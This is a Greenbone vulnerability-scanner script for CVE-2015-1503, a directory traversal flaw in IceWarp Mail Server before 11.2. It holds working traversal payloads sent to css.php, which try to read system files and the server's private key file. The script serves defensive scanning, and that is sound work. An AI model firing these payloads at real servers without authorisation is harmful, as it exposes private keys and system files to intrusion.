IceWarp Mail Server < 11.2 Unauthenticated Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:icewarp:mail_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.114003");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2018-05-15 12:24:09 +0200 (Tue, 15 May 2018)");
  script_cve_id("CVE-2015-1503");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-06-12 18:03:00 +0000 (Tue, 12 Jun 2018)");
  script_name("IceWarp Mail Server < 11.2 Unauthenticated Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_icewarp_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("icewarp/mailserver/http/detected");

  script_xref(name:"URL", value:"https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-001/?fid=5614");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/147505/IceWarp-Mail-Server-Directory-Traversal.html");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44587/");

  script_tag(name:"summary", value:"IceWarp Mail Server is prone to an unauthenticated directory
  traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The unauthenticated Directory Traversal vulnerability can be
  exploited by issuing a specially crafted HTTP GET request to the
  /webmail/client/skins/default/css/css.php file.

  A directory traversal is a vulnerability which allows attackers to access restricted directories
  and execute commands outside of the web server's root directory.

  This vulnerability affects /<variable>/webmail/client/skins/default/css/css.php.");

  script_tag(name:"impact", value:"Successful exploitation allows attackers to access restricted
  directories and execute commands outside of the web server's root directory.");

  script_tag(name:"affected", value:"IceWarp Mail Server prior to version 11.2.");

  script_tag(name:"solution", value:"Update to version 11.2 or later.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

# nb: "install" variable in gb_icewarp_consolidation.nasl is currently "webmail"
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

# nb: "Grabbing" a fresh version of the page for the redirect / URL below as it might have
# changed since the start of the scan.
req = http_get( port:port, item:"/webmail/" );
res = http_keepalive_send_recv( port:port, data:req );
if( ! res )
  exit( 0 );

regMatchedSpecificNumber = eregmatch( string:res, pattern:"/\-\.\._\._\.\-\-\.\._([0-9]+)/" );
if( ! regMatchedSpecificNumber[1] )
  exit( 0 );

trav_files = traversal_files();

# Those are the patterns known to work. We're using all of them
# to make sure that we're catching all possible variants of the vulnerability.
win_patterns = make_list(
"/" + crap( data:"..\", length:3*8 ),
"/" + crap( data:"%2e%2e%5c", length:9*8 ),
"/" + crap( data:"%2e%2e\", length:7*8 ),
"/" + crap( data:"..%5c", length:5*8 ),
crap( data:"..\", length:3*8 ),
crap( data:"%2e%2e%5c", length:9*8 ),
crap( data:"%2e%2e\", length:7*8 ),
crap( data:"..%5c", length:5*8 ),
crap( data:"..\", length:3*6),
"/" + crap( data:"..\", length:3*6) );

lin_patterns = make_list(
crap( data:"../", length:3*10 ),
"/" + crap( data:"../", length:3*10 ),
crap( data:"../", length:3*6),
"/" + crap( data:"../", length:3*6) );

# nb: The single missing - in the private key regex below is expected to have different array keys
if( os_host_runs( "windows" ) == "yes" ) {
  trav_patterns = win_patterns;
  trav_files["-----BEGIN (RSA )?PRIVATE KEY----"] = "config\cert.pem";
} else if( os_host_runs( "linux" ) == "yes" ) {
  trav_patterns = lin_patterns;
  trav_files["-----BEGIN (RSA )?PRIVATE KEY-----"] = "config/cert.pem";
} else {
  trav_patterns = make_list( win_patterns, lin_patterns );
  trav_files["-----BEGIN (RSA )?PRIVATE KEY----"] = "config\cert.pem";
  trav_files["-----BEGIN (RSA )?PRIVATE KEY-----"] = "config/cert.pem";
}

foreach trav_pattern( trav_patterns ) {
  foreach trav_file( keys( trav_files ) ) {
    url = "/-.._._.--.._" + regMatchedSpecificNumber[1] + "/webmail/client/skins/default/css/css.php?file=" + trav_pattern + trav_files[trav_file] + "&palette=default&skin=default";
    if( http_vuln_check( port:port, url:url, pattern:trav_file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );